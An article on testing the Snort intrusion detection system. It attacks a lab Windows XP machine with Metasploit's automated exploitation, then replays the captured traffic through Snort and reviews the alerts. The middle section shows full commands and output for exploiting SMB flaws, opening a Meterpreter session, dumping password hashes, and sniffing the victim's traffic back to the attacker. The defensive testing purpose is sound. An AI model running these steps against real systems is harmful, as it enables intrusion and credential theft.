Traffic Talk: Testing Snort with Metasploit
Are your customers' network security solutions working as expected? Learn about testing Snort with Metasploit in this detailed tip from Richard Bejtlich, complete with code examples and step-by-step instructions.
Solution provider takeaway: In this tip from Richard Bejtlich, solution providers whose customers are wondering whether their solutions are working as expected can learn how to deliver on what was promised by testing Snort, the network intrusion detection system (IDS). Testing Snort with Metasploit can help avoid poor testing and ensure that your customers' networks are protected.
Security and networking service providers are often asked whether their solutions are working as expected. Two years ago, I wrote How to test Snort, which concentrated on reasons for testing and ways to avoid doing poor testing. In this article, prompted by recent discussions among networking professionals, I show how to combine several tools in a scenario where I test Snort with Metasploit.
First, I recommend testing network inspection tools by using a captured trace. While live traffic can be used for testing in some circumstances, testing with a trace is often the easiest way to remove variability between individual test runs. Capture traffic once and replay or read it multiple times, ensuring that tools all receive the same traffic. With high-end testing equipment, this is not necessary, but on a budget, I recommend capturing traffic of interest with a tool like Tcpdump or Tshark.
 |
||||
|
|
|||
|
||||
In this example, I tell Tshark to log traffic to vmnet8.1.pcap, using the -S switch to write packets to disk while displaying them live. This is not recommended in a high-speed environment. I decided to show packets in the console here to facilitate monitoring of the test.
richard@neely:~$ sudo tshark -n -i vmnet8 -S -w vmnet8.1.pcap
Running as user "root" and group "root". This could be dangerous.
Capturing on vmnet8
In a separate window, I ensure that the capture is working by generating an ICMP echo to a Windows target, 192.168.199.128.
richard@neely:~$ ping -c 1 192.168.199.128
PING 192.168.199.128 (192.168.199.128) 56(84) bytes of data.
64 bytes from 192.168.199.128: icmp_seq=1 ttl=128 time=0.628 ms
...truncated...
Tshark shows what it sees, as expected.
2009-11-15 14:34:19.213008 192.168.199.1 192.168.199.128 ICMP Echo
(ping) request
2009-11-15 14:34:19.213610 192.168.199.128 192.168.199.1 ICMP Echo (ping)
reply
Using Metasploit
Next, I will use Metasploit (www.metasploit.com) to exploit a target Windows system. The traffic I capture using Tshark will then be fed to Snort, to test its detection capabilities.
I start by updating Metasploit from SVN. If you do not already have Metasploit installed on a Linux system, download it from the Metasploit website.
richard@neely:~$ cd /usr/local/src/msf/trunk/
richard@neely:/usr/local/src/msf/trunk$ svn update
At revision 7521.
richard@neely:/usr/local/src/msf/trunk$ sudo ./msfconsole
METASPLOIT
=[ metasploit v3.3-testing [core:3.3 api:1.0]
+ -- --=[ 444 exploits - 216 auxiliary
+ -- --=[ 190 payloads - 21 encoders - 8 nops
=[ svn r7521 updated today (2009.11.15)
msf >
With Metasploit started, I decided to use the db_autopwn functionality to almost completely automate exploitation of the target. I create a sqlite3 database, tell Metasploit to scan the target with Nmap, then use db_autopwn to exploit the target.
msf > db_create
[*] Creating a new database instance...
[*] Successfully connected to the database
[*] File: /home/richard/.msf3/sqlite3.db
msf > db_connect
[*] Successfully connected to the database
[*] File: /home/richard/.msf3/sqlite3.db
msf > db_nmap 192.168.199.128
Starting Nmap 4.53 ( http://insecure.org ) at 2009-11-15 14:37 EST
Interesting ports on 192.168.199.128:
Not shown: 1710 closed ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-term-serv
MAC Address: 00:0C:29:23:94:DD (VMware)
Nmap done: 1 IP address (1 host up) scanned in 1.642 seconds
msf > db_autopwn
[*] Usage: db_autopwn [options]
-h Display this help text
-t Show all matching exploit modules
-x Select modules based on vulnerability references
-p Select modules based on open ports
-e Launch exploits against all matched targets
-r Use a reverse connect shell
-b Use a bind shell on a random port (default)
-q Disable exploit module output
-I [range] Only exploit hosts inside this range
-X [range] Always exclude hosts inside this range
-PI [range] Only exploit hosts with these ports open
-PX [range] Always exclude hosts with these ports open
-m [regex] Only run modules whose name matches the regex
msf > db_autopwn -e -p
[*] (6/90): Launching exploit/netware/smb/lsass_cifs against
192.168.199.128:139...
...edited...
[*] (82/90): Launching exploit/windows/smb/ms04_011_lsass against
192.168.199.128:139...
[*] Started bind handler
[*] (83/90): Launching exploit/windows/smb/ms08_067_netapi against
192.168.199.128:445...
[*] Started bind handler
[*] Job limit reached, waiting on modules to finish...
[-] Exploit failed: Login Failed: The server responded with unimplemented
command 0 with WordCount 0
[*] Binding to 6bffd098-a112-3610-9833
-46c3f87e345a:1.0@ncacn_np:192.168.199.128[\BROWSER] ...
[*] Bound to 6bffd098-a112-3610-9833-
46c3f87e345a:1.0@ncacn_np:192.168.199.128[\BROWSER] ...
[*] Building the stub data...
[*] Calling the vulnerable function...
[*] Started bind handler
[*] (89/90): Launching exploit/windows/smb/ms04_011_lsass against
192.168.199.128:445...
[*] Automatically detecting the target...
[*] Started bind handler
[*] Binding to 3919286a-b10c-11d0-9ba8
-00c04fd92ef5:0.0@ncacn_np:192.168.199.128[\lsarpc]...
[-] Exploit failed: The server responded with error: STATUS_ACCESS_DENIED
(Command=162 WordCount=0)
msf >
[*] Fingerprint: Windows XP Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (NX)
[*] Triggering the vulnerability...
[*] Sending stage (719360 bytes)
[*] Meterpreter session 1 opened (192.168.199.1:35634 -> 192.168.199.128:28616)
msf > sessions
Active sessions
===============
Id Description Tunnel
-- ----------- ------
1 Meterpreter 192.168.199.1:35634 -> 192.168.199.128:28616
After successfully gaining access to the target, I activate the enabled session to gather system information and dump password hashes.
msf > sessions -i 1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer: MOUNTAIN
OS : Windows XP (Build 2600, Service Pack 2).
Arch : x86
Language: en_US
meterpreter > hashdump
Administrator:500:389649451be7a197aad3b435b51404ee:0a0de4e68b196396a07951d4f6d63e63:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:7f855572b33e4f05464bb39f98bfb68b:bce6047c8e7645ddeb197ead3739
81ea:::
mule:1004:8e6fb096f80fe2e3aad3b435b51404ee:67632a4f8160558ec0589d0719a29584:::
rented:1003:389649451be7a197aad3b435b51404ee:0a0de4e68b196396a07951d4f6d63e63:::
SUPPORT_388945a0":1002:aad3b435b51404eeaad3b435b51404ee:e8118716735c1d394640002d
3134b9a2:::
Since I am on the target using the Meterpreter, I decided to enable Metasploit's new, built-in packet sniffer capability to log 500 packets seen by the victim, excluding backdoor traffic generated by the Meterpreter itself.
meterpreter > use_sniffer
Loading extension sniffer...success.
Sniffer Commands
================
Command Description
------- -----------
sniffer_dump Retrieve captured packet data to PCAP file
sniffer_interfaces Enumerate all sniffable network interfaces
sniffer_start Start packet capture on a specific interface
sniffer_stats View statistics of an active capture
sniffer_stop Stop packet capture on a specific interface
meterpreter > sniffer_interfaces
1 - 'AMD PCNET Family PCI Ethernet Adapter' ( type:0 mtu:1514 usable:true
dhcp:true wifi:false )
2 - 'WAN Miniport (Network Monitor)' ( type:3 mtu:1514 usable:true dhcp:false
wifi:false )
meterpreter > sniffer_start 1 500
[*] Capture started on interface 1 (500 packet buffer)
meterpreter > sniffer_stats 1
[*] Capture statistics for interface 1
bytes: 784867
packets: 1446
By calling sniffer_dump, I log the traffic back to my attack platform.
meterpreter > sniffer_dump 1 /home/richard/msf-sniff.1.pcap
[*] Flushing packet capture buffer for interface 1...
[*] Flushed 500 packets (319123 bytes)
[*] Downloaded 100% (319123/319123)...
[*] Download completed, converting to PCAP...
[*] PCAP file written to /home/richard/msf-sniff.1.pcap
meterpreter > sniffer_stop 1
[*] Capture stopped on interface 1
I shut down the sniffer; then on my attack platform, I verify that Metasploit brought the file back to my system.
richard@neely:~$ capinfos msf-sniff.1.pcap
File name: msf-sniff.1.pcap
File type: Wireshark/tcpdump/... - libpcap
File encapsulation: Ethernet
Number of packets: 500
File size: 317147 bytes
Data size: 309123 bytes
Capture duration: 11.000000 seconds
Start time: Sun Nov 15 14:42:14 2009
End time: Sun Nov 15 14:42:25 2009
Data rate: 28102.09 bytes/s
Data rate: 224816.73 bits/s
Average packet size: 618.25 bytes
richard@neely:~$ tcpdump -n -r msf-sniff.1.pcap | head -n 3
reading from file msf-sniff.1.pcap, link-type EN10MB (Ethernet)
14:42:14.000000 IP 209.84.20.126.80 > 192.168.199.128.1080: P
2656650823:2656652271(1448) ack 2943460922 win 64240
14:42:14.000000 IP 192.168.199.128.1080 > 209.84.20.126.80: . ack 1448 win 17520
14:42:14.000000 IP 74.125.91.139.80 > 192.168.199.128.1087: S
2563648101:2563648101(0) ack 2345152928 win 64240
Back in the Meterpreter, I shut down the target.
meterpreter > shutdown
Shutting down...
meterpreter > exit
[*] Meterpreter session 1 closed.
msf > exit
richard@neely:/usr/local/src/msf/trunk$
Finally, I stop collecting traffic on my attack platform by sending ctrl-c to Tshark. It reports capturing 7349 packets.
2009-11-15 14:45:23.220290 00:50:56:c0:00:08 00:0c:29:23:94:dd ARP Who has
192.168.199.128? Tell 192.168.199.1
ctrl-c
7349 packets captured
However, if we run Capinfos against the trace, it reports 7350 packets.
richard@neely:~$ capinfos vmnet8.1.pcap
File name: vmnet8.1.pcap
File type: Wireshark/tcpdump/... - libpcap
File encapsulation: Ethernet
Number of packets: 7350
File size: 2809106 bytes
Data size: 2691482 bytes
Capture duration: 665.267285 seconds
Start time: Sun Nov 15 14:34:19 2009
End time: Sun Nov 15 14:45:24 2009
Data rate: 4045.72 bytes/s
Data rate: 32365.72 bits/s
Average packet size: 366.19 bytes
So does Tcpdump:
richard@neely:~$ tcpdump -n -r vmnet8.1.pcap | wc -l
reading from file vmnet8.1.pcap, link-type EN10MB (Ethernet)
7350
The difference between 7349 and 7350 packets will not have a bearing on our next steps, but noting the result during testing is important.
Testing how Snort will process the traffic
Now I want to test how Snort will process the traffic I captured using Tshark. Remember, this traffic was collected while I attacked a Windows victim using Metasploit. If Snort ignores this activity, I probably have not configured Snort properly. I tell Snort to use a designated configuration file, to read vmnet8.1.pcap, to log alerts to the /tmp directory, to write full output to the alert file, and to log interesting traffic in binary format.
In the output that follows, notice that Snort processes the 7383 packets, which is more than the 7350 packets in the trace. I run Snort on a FreeBSD system.
r200a:/home/richard$ snort -c /usr/local/etc/nsm/snort.conf -r
/tmp/vmnet8.1.pcap -l /tmp/ -A full -b
Running in IDS mode
--== Initializing Snort ==--
Initializing Output Plugins!
Initializing Preprocessors!
Initializing Plug-ins!
Parsing Rules file /usr/local/etc/nsm/snort.conf
PortVar 'HTTP_PORTS' defined : [ 80 ]
PortVar 'SHELLCODE_PORTS' defined : [ 0:79 81:65535 ]
PortVar 'ORACLE_PORTS' defined : [ 1521 ]
Detection:
Search-Method = AC-BNFA-Q
...edited...
Run time for packet processing was 0.57471 seconds
===============================================================================
Snort processed 7383 packets.
===============================================================================
Breakdown by protocol (includes rebuilt packets):
ETH: 7383 (100.000%)
...edited...
IP4: 7371 (99.837%)
...edited...
TCP: 7234 (97.982%)
UDP: 100 (1.354%)
ICMP: 2 (0.027%)
...edited...
ARP: 12 (0.163%)
...edited...
OTHER: 2 (0.027%)
DISCARD: 0 (0.000%)
InvChkSum: 0 (0.000%)
S5 G 1: 0 (0.000%)
S5 G 2: 33 (0.447%)
Total: 7383
===============================================================================
Action Stats:
ALERTS: 10
LOGGED: 18
PASSED: 0
...truncated...
Here we see why Snort reported inspecting 7383 packets, when only 7350 are really in the trace. Snort's Stream5 preprocessor created 33 pseudo-packets for inspection, as listed in the "S5 G 2: 33" output above. This is normal.
To determine whether Snort logged any interesting alerts, we can inspect the alert file in /tmp. We look at the first few lines using the head command.
r200a:/home/richard$ head /tmp/alert
[**] [122:1:0] (portscan) TCP Portscan [**]
[Priority: 3]
11/15-14:37:10.471510 192.168.199.1 -> 192.168.199.128
PROTO:255 TTL:0 TOS:0x0 ID:66 IpLen:20 DgmLen:164
[**] [1:1421:13] SNMP AgentX/tcp request [**]
[Classification: Attempted Information Leak] [Priority: 2]
11/15-14:37:10.501208 192.168.199.1:34296 -> 192.168.199.128:705
TCP TTL:42 TOS:0x0 ID:20769 IpLen:20 DgmLen:44
******S* Seq: 0x6885F9A4 Ack: 0x0 Win: 0xC00 TcpLen: 24
To get a quick summary of the alerts, we use grep next.
r200a:/home/richard$ grep '\[\*\*\]' /tmp/alert
[**] [122:1:0] (portscan) TCP Portscan [**]
[**] [1:1421:13] SNMP AgentX/tcp request [**]
[**] [1:1418:13] SNMP request tcp [**]
[**] [1:1420:13] SNMP trap tcp [**]
[**] [122:1:0] (portscan) TCP Portscan [**]
[**] [1:8694:4] NETBIOS DCERPC NCACN-IP-TCP IActivation remoteactivation
overflow attempt [**]
[**] [1:8690:4] NETBIOS DCERPC NCACN-IP-TCP IActivation remoteactivation little
endian overflow attempt [**]
[**] [1:2924:3] NETBIOS SMB-DS repeated logon failure [**]
[**] [1:8969:4] NETBIOS SMB-DS wkssvc NetrAddAlternateComputerName WriteAndX
little endian overflow attempt [**]
[**] [1:7250:8] NETBIOS SMB-DS srvsvc NetrPathCanonicalize WriteAndX little
endian overflow attempt [**]
We can look at the snort.log file to see packets of interest logged by Snort.
r200a:/home/richard$ tcpdump -n -r /tmp/snort.log.1258315966
reading from file /tmp/snort.log.1258315966, link-type EN10MB (Ethernet)
14:37:10.471510 IP 192.168.199.1 > 192.168.199.128: ip-proto-255 144
14:37:10.471511 IP 192.168.199.1 > 192.168.199.128: ip-proto-255 16
14:37:10.500486 IP 192.168.199.1 > 192.168.199.128: ip-proto-255 15
14:37:10.501208 IP 192.168.199.1.34296 > 192.168.199.128.705: S
1753610660:1753610660(0) win 3072
14:37:11.638795 IP 192.168.199.1.34296 > 192.168.199.128.161: S
1753610660:1753610660(0) win 1024
14:37:11.769808 IP 192.168.199.1 > 192.168.199.128: ip-proto-255 15
14:37:11.774953 IP 192.168.199.1 > 192.168.199.128: ip-proto-255 15
14:37:11.916197 IP 192.168.199.1.34296 > 192.168.199.128.162: S
1753610660:1753610660(0) win 3072
14:39:15.753071 IP 192.168.199.1 > 192.168.199.128: ip-proto-255 144
14:39:15.753072 IP 192.168.199.1 > 192.168.199.128: ip-proto-255 15
14:39:15.753073 IP 192.168.199.1 > 192.168.199.128: ip-proto-255 15
14:39:18.252871 IP 192.168.199.1 > 192.168.199.128: ip-proto-255 15
14:39:18.489735 IP 192.168.199.1.45275 > 192.168.199.128.135: P
1682322703:1682323303(600) ack 905855197 win 46
14:39:18.641719 IP 192.168.199.1.45275 > 192.168.199.128.135: . 600:2048(1448)
ack 349 win 54
14:39:29.692493 IP 192.168.199.128.445 > 192.168.199.1.41222: P
85763667:85763706(39) ack 1855096774 win 16970
14:39:31.219517 IP 192.168.199.1.57219 > 192.168.199.128.445: P 0:8191(8191) ack 0 win 0
14:39:31.799583 IP 192.168.199.1.41222 > 192.168.199.128.445: P
2439870523:2439871294(771) ack 4209203629 win 0
14:39:31.934970 IP 192.168.199.1 > 192.168.199.128: ip-proto-255 17
The various packets with "ip-proto-255" are not real packets. They are other pseudo-packets created by Snort for logging purposes. For example, let's look at the first two in detail.
r200a:/home/richard$ tcpdump -n -X -r /tmp/snort.log.1258315966 -c 2
reading from file /tmp/snort.log.1258315966, link-type EN10MB (Ethernet)
14:37:10.471510 IP 192.168.199.1 > 192.168.199.128: ip-proto-255 144
0x0000: 4500 00a4 0042 0000 00ff a946 c0a8 c701 E....B.....F....
0x0010: c0a8 c780 5072 696f 7269 7479 2043 6f75 ....Priority.Cou
0x0020: 6e74 3a20 350a 436f 6e6e 6563 7469 6f6e nt:.5.Connection
0x0030: 2043 6f75 6e74 3a20 3130 0a49 5020 436f .Count:.10.IP.Co
0x0040: 756e 743a 2031 0a53 6361 6e6e 6572 2049 unt:.1.Scanner.I
0x0050: 5020 5261 6e67 653a 2031 3932 2e31 3638 P.Range:.192.168
0x0060: 2e31 3939 2e31 3a31 3932 2e31 3638 2e31 .199.1:192.168.1
0x0070: 3939 2e31 0a50 6f72 742f 5072 6f74 6f20 99.1.Port/Proto.
0x0080: 436f 756e 743a 2031 300a 506f 7274 2f50 Count:.10.Port/P
0x0090: 726f 746f 2052 616e 6765 3a20 3231 3a33 roto.Range:.21:3
0x00a0: 3338 390a 389.
14:37:10.471511 IP 192.168.199.1 > 192.168.199.128: ip-proto-255 16
0x0000: 4500 0024 0042 0000 00ff a9c6 c0a8 c701 E..$.B..........
0x0010: c0a8 c780 4f70 656e 2050 6f72 743a 2033 ....Open.Port:.3
0x0020: 3338 390a 389.
Snort's portscan preprocessor created both packets. The first gives details on a host conducting a scan (192.168.199.1) and the second shows that port 3389 is open on the target.
The other packets are either related to the portscan activity and reporting, or to the SMB exploitation Metasploit conducted against the target.
In brief, using Metasploit to generate traffic, followed by feeding that traffic to Snort, demonstrates how to test a set of security tools on a budget.
About the author
Richard Bejtlich is principal technologist and director of incident response for General Electric. He writes for his blog, http://taosecurity.blogspot.com.
